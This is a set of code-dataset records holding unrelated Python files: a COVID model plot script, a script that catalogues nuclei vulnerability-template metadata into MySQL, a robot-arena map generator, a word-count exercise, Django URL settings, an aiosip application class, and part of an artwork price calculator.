perc_recovered = {}\n for agegroup_index in range(3): # range(16)\n agegroup = 5 * agegroup_index\n n_recovered = export_compartment_size(\"recoveredXagegroup_\" + str(agegroup), mcmc_tables, output_tables, derived_output_tables, weights)\n\n # work out denominator\n popsizes = {key: [0] * len(list(n_recovered.values())[0]) for key in n_recovered.keys()}\n for comp in output_tables[0].columns:\n if \"agegroup_\" + str(agegroup) in comp:\n comp_sizes = export_compartment_size(comp, mcmc_tables, output_tables, derived_output_tables, weights)\n for key in n_recovered:\n popsizes[key] = [x + y for (x, y) in zip(popsizes[key], comp_sizes[key])]\n\n perc_recovered[agegroup] = {}\n for key in n_recovered:\n perc_recovered[agegroup][key] = [100 * x / y for (x, y) in zip(n_recovered[key], popsizes[key])]\n\n file_path = os.path.join('dumped_dict.yml')\n with open(file_path, \"w\") as f:\n yaml.dump(perc_recovered, f)\n\n return perc_recovered\n\n\ndef format_perc_recovered_for_joyplot(perc_recovered):\n months = [\n {\"March\": 61.0},\n {\"April\": 92.0},\n {\"May\": 122.0},\n {\"June\": 153.0}\n ]\n n_sample = len(list(perc_recovered[0].values())[0])\n data = pd.DataFrame()\n for month_dict in months:\n data[list(month_dict.keys())[0]] = \"\"\n data[\"Age\"] = \"\"\n\n i = 0\n for sample_index in range(n_sample):\n for agegroup in perc_recovered:\n month_values = []\n for month_dict in months:\n time = list(month_dict.values())[0]\n month_values.append(perc_recovered[agegroup][str(time)][sample_index])\n data.loc[i] = month_values + [\"age_\" + str(agegroup)]\n i += 1\n\n plt.figure(dpi= 380)\n fig, axes = joypy.joyplot(data, by=\"Age\", column=[list(d.keys())[0] for d in months])\n\n plt.savefig('figures/test.png')\n\ndef make_joyplot_figure(perc_recovered):\n pass\n\n\nif __name__ == \"__main__\":\n path = \"../../../../data/outputs/calibrate/covid_19/for_plot_test/test_mcmc\"\n\n perc_reco = get_perc_recovered_by_age_and_time(path, \"belgium\", burn_in=0)\n\n print(\"perc calculated\")\n\n with open('dumped_dict.yml', \"r\") as yaml_file:\n dumped = yaml.safe_load(yaml_file)\n perc_reco = dumped\n\n format_perc_recovered_for_joyplot(perc_reco)\n print()\n","sub_path":"apps/covid_19/mixing_optimisation/opti_plots/joyplot.py","file_name":"joyplot.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"242624893","text":"import os\nimport sys\nimport pathlib\nfrom pathlib import *\nimport yaml\nimport pymysql\nimport json\ninput_path=r\"nuclei\"\n\n\n\ndef getfileinfo():\n result={}\n id=0\n nuclei=Path(input_path)\n for item in nuclei.rglob(\"*\"):\n if item.is_file():\n if str(item).endswith(\"yaml\"):\n print(item)\n id+=1\n result[id]={}\n filename=str(item).split(\"\\\\\")[-1]\n\n if \"CVE\" in filename or \"CNVD\" in filename :\n result[id]['cve']=filename.split(\".\")[0]\n else:\n result[id]['cve']=''\n\n result[id]['file_name']=filename\n\n with Path.open(item,\"r+\",encoding=\"utf-8\") as f:\n content=f.read()\n con=yaml.safe_load(content)\n result[id]['poc_name']=con.get('info',{}).get('name')\n result[id]['description']=con.get('info',{}).get('description')\n else:\n # print(\"this is folder\")\n pass\n return result\n\n\ndef insert2mysql(result):\n # print(list(result.get(1,{}).values()).append(''))\n conn = pymysql.connect(\n host=\"localhost\",\n port=3306,\n user=\"root\",\n passwd=\"root\",\n db=\"cve\" \n )\n #获取一个游标对象\n cursor=conn.cursor()\n #设置参数i,for语句循环\n for i in result:\n res=list(result.get(i).values())\n cve,file_name,poc_name,description=res[0],res[1],res[2],res[3]\n sql='''insert into poc_list values(null,%s,%s,%s,%s)'''\n print(cve,file_name,poc_name,description)\n cursor.execute(sql,(cve,file_name,poc_name,description))\n conn.commit()\n #关闭连接\n conn.close()\n cursor.close()\n\n# res=getfileinfo()\n# for i in res:\n# print(type(res.get(i)))\n# print(len(res))\n\n\n# print(len(l))\n\ndef main():\n # aa=getfileinfo()\n # with open('tmp.txt',\"a+\") as f:\n # f.write(json.dumps(aa,ensure_ascii=True))\n insert2mysql(getfileinfo())\n\nif __name__== \"__main__\" :\n main()","sub_path":"script for nuclei-temlates/getcveinfo.py","file_name":"getcveinfo.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"413988754","text":"\"\"\"Map Generation Main Script v2\n Written by Robbie Goldman and Alfred Roberts\n\nChangelog:\n V2:\n - Added randomly sized cubes as obstacles\n\"\"\"\n\nimport random\nfrom PIL import Image\nimport math\nimport WorldCreator\nimport os\ndirname = os.path.dirname(__file__)\n\n\nclass node ():\n '''Node object to hold information on each part of the tree'''\n def __init__(self, parent, xMin, xMax, yMin, yMax, array):\n '''Initialize node with a parent and outer corner positions'''\n self.parent = parent\n #No children yet\n self.left = None\n self.right = None\n self.shape = [[xMin, yMin], [xMax, yMax]]\n #Currently no wall\n self.wall = None\n self.unusableWall = []\n self.wallParts = []\n #There is no base here yet\n self.basePresent = False\n self.basePossible = False\n #If the node is large enough a base may be added\n if (xMax - xMin) - 2 > 20 and (yMax - yMin) - 2 > 20:\n self.basePossible = True\n self.outside = False\n #If one of its bounds are on the outside of the array\n if self.shape[0][0] == 0 or self.shape[0][1] == 0 or self.shape[1][0] == len(array[0]) - 1 or self.shape[1][1] == len(array):\n #This node is on the outside\n self.outside = True\n \n def setLeft(self, child):\n '''Set the left child'''\n self.left = child\n \n def setRight(self, child):\n '''Set the right child'''\n self.right = child\n \n def setWall(self, wall):\n '''Set the current wall'''\n self.wall = wall\n #If there is a wall (not empty)\n if len(wall) > 0:\n #If there is a parent\n if self.parent != None:\n #adjust the parent node to remove the end points\n self.parent.adjustWall(wall[0], wall[len(wall) - 1])\n \n def setWallParts(self, parts):\n '''Set the list of wall parts'''\n self.wallParts = parts\n\n def adjustWall(self, start, end):\n '''Add start and end to unusable walls'''\n self.unusableWall.append(start)\n self.unusableWall.append(end)\n #If there is a parent\n if self.parent != None:\n #Make the points unusable there too\n self.parent.adjustWall(start, end)\n \n def setBase (self):\n self.basePresent = True\n\n def getChildren(self):\n '''Return both children (may be None)'''\n return self.left, self.right\n \n def getParent(self):\n '''Return the parent node'''\n return self.parent\n \n def getWall(self):\n '''Return the list of wall positions'''\n return self.wall\n \n def getUnusableWall(self):\n '''Return the list of unusable wall positions'''\n return self.unusableWall\n\n def getBounds(self):\n '''Return the boundary points of the node'''\n return self.shape[0][0], self.shape[0][1], self.shape[1][0], self.shape[1][1]\n\n def getWallParts(self):\n '''Returnt the list of lists of wall sections'''\n return self.wallParts\n \n def getBase(self):\n return self.basePresent, self.basePossible\n \n def getOutside(self):\n return self.outside\n\n\ndef createEmptyWorld():\n '''Create a new array of 250 by 200 containing spaces and a wall of w around the outside'''\n array = []\n\n #Iterate y axis\n for i in range(0, 200):\n\n #Create this row\n row = []\n\n #Iterate x axis\n for j in range(0, 250):\n #If this is the top or bottom row or outsides\n if i == 0 or i == 199 or j == 0 or j == 249:\n #Add wall\n row.append(\"w\")\n else:\n #Add empty space\n row.append(\" \")\n #Add the row to the array\n array.append(row)\n \n #Return the generated array\n return array\n\n\ndef printWorld(array, string):\n '''Output the array as a map image file'''\n #Create a new image with the same dimensions as the array (in rgb mode with white background)\n img = Image.new(\"RGB\", (len(array[0]), len(array)), \"#FFFFFF\")\n\n #Iterate across x axis\n for i in range(len(array[0])):\n #Iterate across y axis\n for j in range(len(array)):\n #If there is a wall there\n if array[j][i] == \"w\":\n #Add a blue pixel\n img.putpixel((i, j), (0, 0, 255))\n #If there is a base there\n if array[j][i] == \"b\":\n #add a grey pixel\n img.putpixel((i, j), (150, 150, 150))\n \n #Save the completed image to file\n img.save(os.path.join(dirname, \"map\" + string + \".png\"), \"PNG\")\n\n\ndef splitNode(n, array):\n '''Split a node into two parts randomly'''\n\n #Retrieve the boundary points of the node\n xMin, yMin, xMax, yMax = n.getBounds()\n\n #Calculate the size of the node\n size = [xMax - xMin, yMax - yMin]\n bounds = [[0,0],[0,0]]\n #Modifier for how much of the ends of the room not to include\n modifier = 0.35\n #Calculate bounds of possible split positions\n bounds[0][0] = int(size[1] * modifier) + yMin\n bounds[0][1] = yMax - int(size[1] * modifier)\n bounds[1][0] = int(size[0] * modifier) + xMin\n bounds[1][1] = xMax - int(size[0] * modifier)\n\n #Pick a random direction\n direction = random.randint(0, 1)\n\n #If the room is much wider than it is tall\n if size[0] > 1.5 * size[1]:\n #Split the room vertically\n direction = 1\n\n #If the room is much taller than it is wide\n if size[1] > 1.5 * size[0]:\n #Split the room horizontally\n direction = 0\n\n #Pick a position to split it on based on the direction\n r = random.randint(bounds[direction][0], bounds[direction][1])\n\n left = None\n right = None\n\n wall = []\n\n #Horizontal\n if direction == 0:\n #Generate left and right nodes from the boundary points\n left = node(n, xMin, xMax, yMin, r, array)\n right = node(n, xMin, xMax, r, yMax, array)\n #Iterate across at the generated y position\n for xPos in range(xMin, xMax + 1):\n #Set as walls\n array[r][xPos] = \"w\"\n #Add to the list of walls\n wall.append([xPos, r])\n else:\n #Vertical\n #Generate left and right nodes from bounary points\n left = node(n, xMin, r, yMin, yMax, array)\n right = node(n, r, xMax, yMin, yMax, array)\n #Iterate down at the generated x position\n for yPos in range(yMin, yMax + 1):\n #Set as walls\n array[yPos][r] = \"w\"\n #Add to the list of walls\n wall.append([r, yPos])\n\n #Set the nodes children and wall\n n.setLeft(left)\n n.setRight(right)\n n.setWall(wall)\n\n #Return the updated array\n return array\n\n\ndef splitDepth(rootNode, array):\n '''Split the given node if not already otherwise split both children'''\n #Get the children\n children = rootNode.getChildren()\n #If it doesn't have children - split it\n if children[0] == None or children[1] == None:\n array = splitNode(rootNode, array)\n else:\n #Otherwise split the children (recursively)\n array = splitDepth(children[0], array)\n array = splitDepth(children[1], array)\n \n #Return the updated array\n return array\n\n\ndef openDoor (wall, array):\n '''Add a door randomly to a wall'''\n #If the wall is long enough to hold a full door\n if len(wall) > 16:\n #Generate random position\n r = random.randint(1, len(wall) - 16)\n #Iterate down door\n for i in range(0, 15):\n #Check the position is valid\n if i + r < len(wall):\n #Remove the wall at that position\n array[wall[i + r][1]][wall[i + r][0]] = \" \"\n else:\n #If the wall is too short for a full addDoors\n #Iterate across all cenral wall pieces\n for i in range(1, len(wall) - 1):\n #Remove the wall\n array[wall[i][1]][wall[i][0]] = \" \"\n \n #Return the updated array\n return array\n\n\ndef addDoorToWall(wall, unusable, array):\n '''Add the doors to a given wall'''\n #List of all wall parts\n wallParts = []\n #The part of the wall currently being processed\n currentPart = []\n #Iterate through the wall\n for i in range(0, len(wall)):\n #If that wall can be used (not a joining position)\n if wall[i] not in unusable:\n #Add wall to the current parts\n currentPart.append(wall[i])\n else:\n #That position cannot be used - break in parts of the wall\n #If there is something in the current part\n if currentPart != []:\n #Add current part to the list of wall parts\n wallParts.append(currentPart)\n #Reset the current part\n currentPart = []\n \n #If there is still a part left\n if currentPart != []:\n #Add remaining part\n wallParts.append(currentPart)\n \n #List of parts of the wall longer than 15\n largeParts = []\n\n #Iterate wall parts\n for i in range(0, len(wallParts)):\n #If it is long enough\n if len(wallParts[i]) >= 15:\n #Add to large parts list\n largeParts.append(wallParts[i])\n\n #If there is at least 1 large part\n if len(largeParts) > 0:\n\n #Pick a random part\n w1 = random.randint(0, len(largeParts) - 1)\n #Open a door in that wall part\n array = openDoor(largeParts[w1], array)\n\n #Iterate for large wall parts\n for i in range(len(largeParts)):\n #33% chance to add a door to a part (not the intial one again)\n if random.randint(0, 2) == 0 and i != w1:\n #Open a door in that wall part\n array = openDoor(largeParts[i], array)\n else:\n #No large parts\n #No wall has been selected yet\n longest = -1\n selected = -1\n #Iterate throught the wall parts\n for i in range(0, len(wallParts)):\n #If the current part is longer than the selected part\n if len(wallParts[i]) > longest:\n #Select the wall part\n longest = len(wallParts)\n selected = i\n \n #If a part was selected\n if selected != -1:\n #Open a door in that wall part\n array = openDoor(wallParts[selected], array)\n \n #Return the updated array\n return array\n\n\ndef addDoors(rootNode, array):\n '''Add doors to the root node and all its children (recursively)'''\n #Get the children of the node\n children = rootNode.getChildren()\n\n #If there is a left child\n if children[0] != None:\n #Add doors to left child and all its children\n array = addDoors(children[0], array)\n #If there is a right child\n if children[1] != None:\n #Add doors to right child and all its children\n array = addDoors(children[1], array)\n\n #Get the wall for this node\n wall = rootNode.getWall()\n #Get the unusable wall parts for this node\n unusable = rootNode.getUnusableWall()\n\n #If there is a wall (not leaf node)\n if wall != None:\n #Add doors to the wall of that node\n array = addDoorToWall(wall, unusable, array)\n\n #Return the updated array\n return array\n\n\ndef generateWorld():\n '''Perform generation of a world array'''\n #Create the empty array\n array = createEmptyWorld()\n #Create the root node with the boundaries of the array\n root = node(None, 0, len(array[0]) - 1, 0, len(array) - 1, array)\n\n #Perform binary split a number of times\n for i in range(4):\n #Split the lowest level of the array\n array = splitDepth(root, array)\n \n #Add all the doors to the array\n array = addDoors(root, array)\n \n #Return the array and the root node\n return array, root\n\n\ndef generateWallParts(rootNode, array):\n '''Traverse the tree and generate all the wall parts for the nodes'''\n #Get the children of the current node\n children = rootNode.getChildren()\n\n #If there is a left child\n if children[0] != None:\n #Generate the wall parts for the left child\n generateWallParts(children[0], array)\n #If there is a right child\n if children[1] != None:\n #Generate the wall parts for the right child\n generateWallParts(children[1], array)\n \n #Get the wall for this node\n wall = rootNode.getWall()\n\n #If there is a wall (not a leaf)\n if wall != None:\n #List to contain all wall parts\n wallParts = []\n #The current part\n part = []\n\n #Iterate for each position in the wall\n for piece in wall:\n #If this piece is a wall\n if array[piece[1]][piece[0]] == \"w\":\n #Add it to the end of the part\n part.append(piece)\n else:\n #If there is something in this part\n if part != []:\n #Add the part to the list\n wallParts.append(part)\n #Reset the part\n part = []\n\n #If there is a part left over\n if part != []:\n #Add it to the end of the list\n wallParts.append(part)\n\n #Set the parts in the node object\n rootNode.setWallParts(wallParts)\n\ndef createAllWallBlocks(rootNode, usedPos):\n '''Create a list of all the wall objects needed (position and scale) (Recursive)'''\n #Empty list to contain all the wall blocks\n wallData = []\n \n #Get the wall parts for this node\n wallParts = rootNode.getWallParts()\n\n #If there were some parts in this node\n if len(wallParts) > 0:\n #Iterate parts\n for part in wallParts:\n \n #Remove and parts of the wall that have already been placed\n for bit in part:\n if bit in usedPos:\n part.remove(bit)\n\n if len(part) > 0:\n #Convert the wall to position and scale then append to the data list\n wallData.append(WorldCreator.transformFromBounds(part[0], part[-1]))\n\n #Add all the parts used to the list of used parts\n for bit in part:\n usedPos.append(bit)\n \n \n #Get the Children of this node\n children = rootNode.getChildren()\n\n #If there is a left child\n if children[0] != None:\n #Add to the data the data generated from the left child\n wallDataPart, usedPos = createAllWallBlocks(children[0], usedPos)\n wallData = wallData + wallDataPart\n #If there is a right child\n if children[1] != None:\n #Add to the data the data generated from the right child\n wallDataPart, usedPos = createAllWallBlocks(children[1], usedPos)\n wallData = wallData + wallDataPart\n \n #Return the wall data\n return wallData, usedPos\n\n\ndef addBase(root, array, quadrants):\n '''Add a base to the tree'''\n added = False\n base = []\n usedQuad = None\n\n #Repeat until the base has been added\n while not added:\n #Set the current node to the root\n currentNode = root\n #Get the children\n children = root.getChildren()\n \n #Pick a random quadrant (picks one of four pairs of binary choices)\n rQuad = random.randint(0, len(quadrants) - 1)\n\n #If there are children\n if children[0] != None and children[1] != None:\n #Move the current node based on the quadrant selected\n currentNode = children[quadrants[rQuad][0]]\n #Get the children\n children = currentNode.getChildren()\n #If there are children\n if children[0] != None and children[1] != None:\n #Move the current node based on the quadrant selected\n currentNode = children[quadrants[rQuad][1]]\n #Get the children\n children = currentNode.getChildren()\n\n #Until the bottom of the tree has been reached\n while children[0] != None and children[1] != None:\n #Randomly pick one of the binary leaves\n r = random.randint(0, 1)\n #Move current node\n currentNode = children[r]\n #Get the current nodes children\n children = currentNode.getChildren()\n \n #Get if there is a base in the current node and if it is big enough too\n already, possible = currentNode.getBase()\n #Get if the node is on the outside\n outside = currentNode.getOutside()\n\n #If there is no base there, it is big enough and it is on the outside\n if not already and possible and outside:\n #Place a base there\n currentNode.setBase()\n #Get the boundaries of the leaf\n xMin, yMin, xMax, yMax = currentNode.getBounds()\n #Move to possible base starting positions\n xMin = xMin + 1\n yMin = yMin + 1\n xMax = xMax - 21\n yMax = yMax - 21\n\n #Calculate a third of the dimensions\n xThird = math.floor((xMax - xMin) / 3)\n yThird = math.floor((yMax - yMin) / 3)\n\n #Generate a random position in the central third\n xPos = random.randint(xMin + xThird, xMax - xThird)\n yPos = random.randint(yMin + yThird, yMax - yThird)\n\n #Create the base array\n base = [[xPos, yPos], [xPos + 20, yPos + 20]]\n\n #Set which quadrant was used\n usedQuad = quadrants[rQuad]\n\n #A base has been added\n added = True\n \n #If a base was created\n if base != []:\n #Iterate across x axis\n for x in range(base[0][0], base[1][0] + 1):\n #Iterate down y axis\n for y in range(base[0][1], base[1][1] + 1):\n #If the position is valid in the world array\n if x > 0 and x < len(array[0]) - 1 and y > 0 and y < len(array):\n #Set that position to a base\n array[y][x] = \"b\"\n \n #Return the new base, updated array and the used quadrant\n return base, array, usedQuad\n\n\ndef createBases(array, rootNode):\n '''Add a set of bases to the world'''\n bases = []\n #All four quadrants (two binary choices)\n quads = [[0, 0], [0, 1], [1, 0], [1, 1]]\n\n #Iterate for each base (3 times)\n for i in range(0, 3):\n #Add a base\n base, array, used = addBase(rootNode, array, quads)\n #If a valid quad was used\n if used in quads:\n #Remove the used quad from the list (so it can't be used again)\n quads.remove(used)\n #Add the base to the list of bases\n bases.append(base)\n \n #Return the updated array and the list of base positions\n return array, bases\n\n\ndef addRobots(bases):\n '''Add robots to the bases'''\n robots = []\n\n #For each of the robots (2 robots)\n for i in range(2):\n #If there is a base free to add it to\n if i < len(bases):\n #Calculate the position of the centre of the base\n xPos = math.floor((bases[i][1][0] - bases[i][0][0]) / 2) + bases[i][0][0]\n yPos = math.floor((bases[i][1][1] - bases[i][0][1]) / 2) + bases[i][0][1]\n #Add position to the list of robots\n robots.append([xPos, yPos])\n \n #Return the list of robots\n return robots\n\n\ndef createBaseBlocks(bases):\n '''Create the world space base blocks from the base positions'''\n newBases = []\n\n #Iterate for the bases\n for base in bases:\n #Convert the base positions to world space\n b = WorldCreator.transformFromBounds(base[0], base[1])\n #Add to list of created bases\n newBases.append(b)\n \n #Return the list of world space bases\n return newBases\n\n\ndef convertRobotsToWorld(robots):\n '''Create the world space positions list for the robots'''\n newRobots = []\n\n #Iterate for the robots\n for robot in robots:\n #Convert the robot position to world space ([0] is because position only is needed, not scale)\n r = WorldCreator.transformFromBounds(robot, robot)[0]\n #Add to list of robot world positions\n newRobots.append(r)\n\n #Return the list of robot world positions \n return newRobots\n\n\ndef generateEdges(array):\n '''Generate a list of all the outside positions of the given array'''\n positions = []\n\n #Iterate down on y axis\n for i in range(0, len(array)):\n #Left and right\n for j in [0, len(array[0]) - 1]:\n #Add to list of positions\n positions.append([j, i])\n\n #Iterate across x axis\n for i in range(0, len(array[0])):\n #Top and bottom\n for j in [0, len(array) - 1]:\n #If not already in the list\n if [i, j] not in positions:\n #Add to the list of positions\n positions.append([i, j])\n \n #Return the generated list\n return positions\n\ndef addObstacle():\n\theight = float(random.randrange(50, 130)) / 100.0\n\twidth = float(random.randrange(30, 220)) / 100.0\n\tdepth = float(random.randrange(30, 220)) / 100.0\n\tobstacle = [width, height, depth]\n\treturn obstacle\n\t\n\ndef generateObstacles():\n\tobstacles = []\n\tnum = random.randrange(4, 8)\n\tfor i in range(num):\n\t\tnewObstacle = addObstacle()\n\t\tobstacles.append(newObstacle)\n\t\n\treturn obstacles\n\ndef mainGenerate():\n '''Perform a full generation run, from array, png to world creation'''\n #Generate the world and tree\n world, root = generateWorld()\n #Create the bases from the world and the tree\n world, bases = createBases(world, root)\n\n #Create the robots from the bases\n robots = addRobots(bases)\n #Convert the bases to world space\n baseBlocks = createBaseBlocks(bases)\n #Convert the robot positions to world space\n robotPositions = convertRobotsToWorld(robots)\n\t\n #Create a list of obstacles\n obstacles = generateObstacles()\n\n #Output the world as a picture\n printWorld(world, \"\")\n\n #Generate the wall parts for the tree\n generateWallParts(root, world)\n #Generate the edges of the map to mark as used\n used = generateEdges(world)\n #Calculate all the wall blocks for the tree (exclude used pixels)\n walls, used = createAllWallBlocks(root, used)\n\n #Make a map from the walls\n WorldCreator.makeFile(walls, baseBlocks, obstacles, robotPositions)\n\n #Print to indicate the program completed properly\n print(\"Generation Successful\")\n\n#Run the Generation\nmainGenerate()\n","sub_path":"world_gen/GenerateMap.py","file_name":"GenerateMap.py","file_ext":"py","file_size_in_byte":22489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"6283890","text":"#\n# count_alice.py:\n#\n# Starting code Lab 8-4\n#\nimport string\nFILENAME = 'alice.txt'\n\nfvar = open (FILENAME, 'r') # open file for reading\n\nallwords = [] # accumulate the words in this list\n\nfor aline in fvar:\n\tline = aline.lower()\n\t#line = line.replace('\"\"', '').replace('--','').replace('?','').replace(',','') #Stopped at 1:56 on the video at https://vimeo.com/260877405/ef0056381d\n\n # line = line.replace('string.punctuation', '')\n # for ch in string.punctuation:\n # line=line.replace(ch,'')\n\n\twords = line.split() # splits the line on whitespace (blanks, '\\n', '\\t'), and lowers the case of everything\n\n # remove punctuation\n # make lowercase\n\tallwords.extend(words) # this does...\n\n\n\n\nallwords.sort()\n#print (allwords[:1000])\nprint (string.punctuation)\n# for word in allwords:\n# print(word)\nprint (len(allwords))\nfvar.close()\n\n\n","sub_path":"H7/testAlice.py","file_name":"testAlice.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"370488943","text":"\"\"\"circle_app URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf import settings\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nfrom .views import mypage_view, top_view\n\nadmin.site.site_title = 'タイトルタグ' \nadmin.site.site_header = 'サークルファインダー 管理サイト' \nadmin.site.index_title = 'メニュー'\n\nurlpatterns = [\n path('', top_view),\n path('accounts/', include('allauth.urls')),\n path('circle/', include('circle.urls')),\n path('mypage/', mypage_view),\n path('admin/', admin.site.urls),\n]\n\nif settings.DEBUG:\n from django.conf.urls.static import static\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"circle_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"117187998","text":"\"\"\"\nSame structure as aiohttp.web.Application\n\"\"\"\nimport uuid\nimport asyncio\n\n__all__ = ['Application']\n\nfrom collections import MutableMapping\n\nfrom .dialog import Dialog\nfrom .dialplan import Dialplan\nfrom .protocol import UDP, TCP, CLIENT, SERVER\nfrom .contact import Contact\n\nfrom .log import application_logger\n\n\nclass Application(MutableMapping):\n\n def __init__(self, *,\n logger=application_logger,\n loop=None,\n dialog_factory=Dialog\n ):\n if loop is None:\n loop = asyncio.get_event_loop()\n\n self.logger = logger\n self._finish_callbacks = []\n self.loop = loop\n self._dialogs = {}\n self._state = {}\n self._protocols = {}\n self.dialplan = Dialplan()\n self._dialog_factory = dialog_factory\n\n @asyncio.coroutine\n def start_dialog(self,\n from_uri,\n to_uri,\n dialog_factory=Dialog,\n contact_uri=None,\n call_id=None,\n protocol=UDP,\n local_addr=None,\n remote_addr=None,\n password=''):\n\n if local_addr is None:\n contact = Contact.from_header(contact_uri if contact_uri else from_uri)\n local_addr = (contact['uri']['host'],\n contact['uri']['port'])\n if remote_addr is None:\n contact = Contact.from_header(to_uri)\n remote_addr = (contact['uri']['host'],\n contact['uri']['port'])\n\n proto = yield from self.create_connection(protocol, local_addr, remote_addr, mode=CLIENT)\n\n if not call_id:\n call_id = str(uuid.uuid4())\n\n dialog = self._dialog_factory()\n dialog.connection_made(app=self,\n from_uri=from_uri,\n to_uri=to_uri,\n call_id=call_id,\n protocol=proto,\n contact_uri=contact_uri,\n local_addr=local_addr,\n remote_addr=remote_addr,\n password=password,\n loop=self.loop)\n\n self._dialogs[call_id] = dialog\n return dialog\n\n @asyncio.coroutine\n def stop_dialog(self, dialog):\n dialog.callbacks = {}\n del self._dialogs[dialog['call_id']]\n\n @asyncio.coroutine\n def create_connection(self, protocol=UDP, local_addr=None, remote_addr=None, mode=CLIENT):\n\n if protocol not in (UDP, TCP):\n raise ValueError('Impossible to connect with this protocol class')\n\n if (protocol, local_addr, remote_addr) in self._protocols:\n proto = self._protocols[protocol, local_addr, remote_addr]\n yield from proto.ready\n return proto\n\n if protocol is UDP:\n trans, proto = yield from self.loop.create_datagram_endpoint(\n self.make_handler(protocol),\n local_addr=local_addr,\n remote_addr=remote_addr,\n )\n\n self._protocols[protocol, local_addr, remote_addr] = proto\n yield from proto.ready\n return proto\n\n elif protocol is TCP and mode is CLIENT:\n trans, proto = yield from self.loop.create_connection(\n self.make_handler(protocol),\n local_addr=local_addr,\n host=remote_addr[0],\n port=remote_addr[1])\n\n self._protocols[protocol, local_addr, remote_addr] = proto\n yield from proto.ready\n return proto\n\n elif protocol is TCP and mode is SERVER:\n server = yield from self.loop.create_server(\n self.make_handler(protocol),\n host=local_addr[0],\n port=local_addr[1])\n return server\n\n else:\n raise ValueError('Impossible to connect with this mode and protocol class')\n\n @asyncio.coroutine\n def handle_incoming(self, protocol, msg, addr, route):\n local_addr = (msg.to_details['uri']['host'],\n msg.to_details['uri']['port'])\n\n remote_addr = (msg.contact_details['uri']['host'],\n msg.contact_details['uri']['port'])\n\n self._protocols[type(protocol), local_addr, remote_addr] = protocol\n dialog = self._dialog_factory()\n\n dialog.connection_made(app=self,\n from_uri=msg.headers['From'],\n to_uri=msg.headers['To'],\n call_id=msg.headers['Call-ID'],\n protocol=protocol,\n local_addr=local_addr,\n remote_addr=remote_addr,\n password=None,\n loop=self.loop)\n\n self._dialogs[msg.headers['Call-ID']] = dialog\n yield from route(dialog, msg)\n\n def connection_lost(self, protocol):\n del self._protocols[type(protocol),\n protocol.transport.get_extra_info('sockname'),\n protocol.transport.get_extra_info('peername')]\n\n def dispatch(self, protocol, msg, addr):\n # key = (protocol, msg.from_details.from_repr(), msg.to_details['uri'].short_uri(), msg.headers['Call-ID'])\n key = msg.headers['Call-ID']\n\n if key in self._dialogs:\n self._dialogs[key].receive_message(msg)\n else:\n self.logger.debug('A new dialog starts...')\n route = self.dialplan.resolve(msg)\n if route:\n dialog = self.handle_incoming(protocol, msg, addr, route)\n self.loop.call_soon(asyncio.ensure_future, dialog)\n\n def send_message(self, protocol, local_addr, remote_addr, msg):\n if (protocol, local_addr, remote_addr) in self._protocols:\n self._protocols[protocol, local_addr, remote_addr].send_message(msg)\n else:\n raise ValueError('No protocol to send message')\n\n @asyncio.coroutine\n def finish(self):\n callbacks = self._finish_callbacks\n self._finish_callbacks = []\n\n for (cb, args, kwargs) in callbacks:\n try:\n res = cb(self, *args, **kwargs)\n if (asyncio.iscoroutine(res) or\n isinstance(res, asyncio.Future)):\n yield from res\n except Exception as exc:\n self.loop.call_exception_handler({\n 'message': \"Error in finish callback\",\n 'exception': exc,\n 'application': self,\n })\n\n def register_on_finish(self, func, *args, **kwargs):\n self._finish_callbacks.insert(0, (func, args, kwargs))\n\n def __repr__(self):\n return \"\"\n\n # MutableMapping API\n def __eq__(self, other):\n return self is other\n\n def __getitem__(self, key):\n return self._state[key]\n\n def __setitem__(self, key, value):\n self._state[key] = value\n\n def __delitem__(self, key):\n del self._state[key]\n\n def __len__(self):\n return len(self._state)\n\n def __iter__(self):\n return iter(self._state)\n\n def make_handler(self, protocol):\n return lambda: protocol(app=self, loop=self.loop)\n","sub_path":"aiosip/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":7458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"440932215","text":"#!/usr/bin/python\nimport sys\n\n\n# Script info\nSCRIPTTITLE = 'Artwork price calculator'\nSCRIPTVERSION = '0.1.1'\nSCRIPTINFO = 'Calculate a reasonable price for selling an artwork (painting or photo print)'\nSCRIPT_HELP = \"\"\"\nUsage:\n --artworkprice [d] [f] [help]\n --artworkprice [dimensions=n] [factor=n] [help]\n\nExamples:\n --artworkprice A4 6.5\n Calculate the price for an artwork in A4 format with factor 6.5\n\n --artworkprice 40x30\n Calculate the price for an artwork in 40x30 cm with default factor\n\n --artworkprice dimensions=90x180 factor=8\n Calculate the price for an artwork in 90x180 cm with factor 8\n\ndimensions\n You must define the dimensions of the artwork in order to calculate its sale price.\n Either use a DIN A format (A0, A1, A2, ... A10) or specify size in centimeters (e.g. 40x30, 90x100).\n\nfactor\n This factor kind of defines how good/famous/hip/deluded you are as an artist.\n For a good artist, 5 is quite ok. 1 is really expensive, and 1 is rediculously cheap.\n\nhelp\n Displays this help, so you propably already know this one.\n\"\"\"\n\n\ndin_a_formats = { 'A00' : (118.9, 168.2), \\\n 'A0' : (84.1, 118.9), \\\n 'A1' : (59.4, 84.1), \\\n 'A2' : (42.0, 59.4), \\\n 'A3' : (29.7, 42.0), 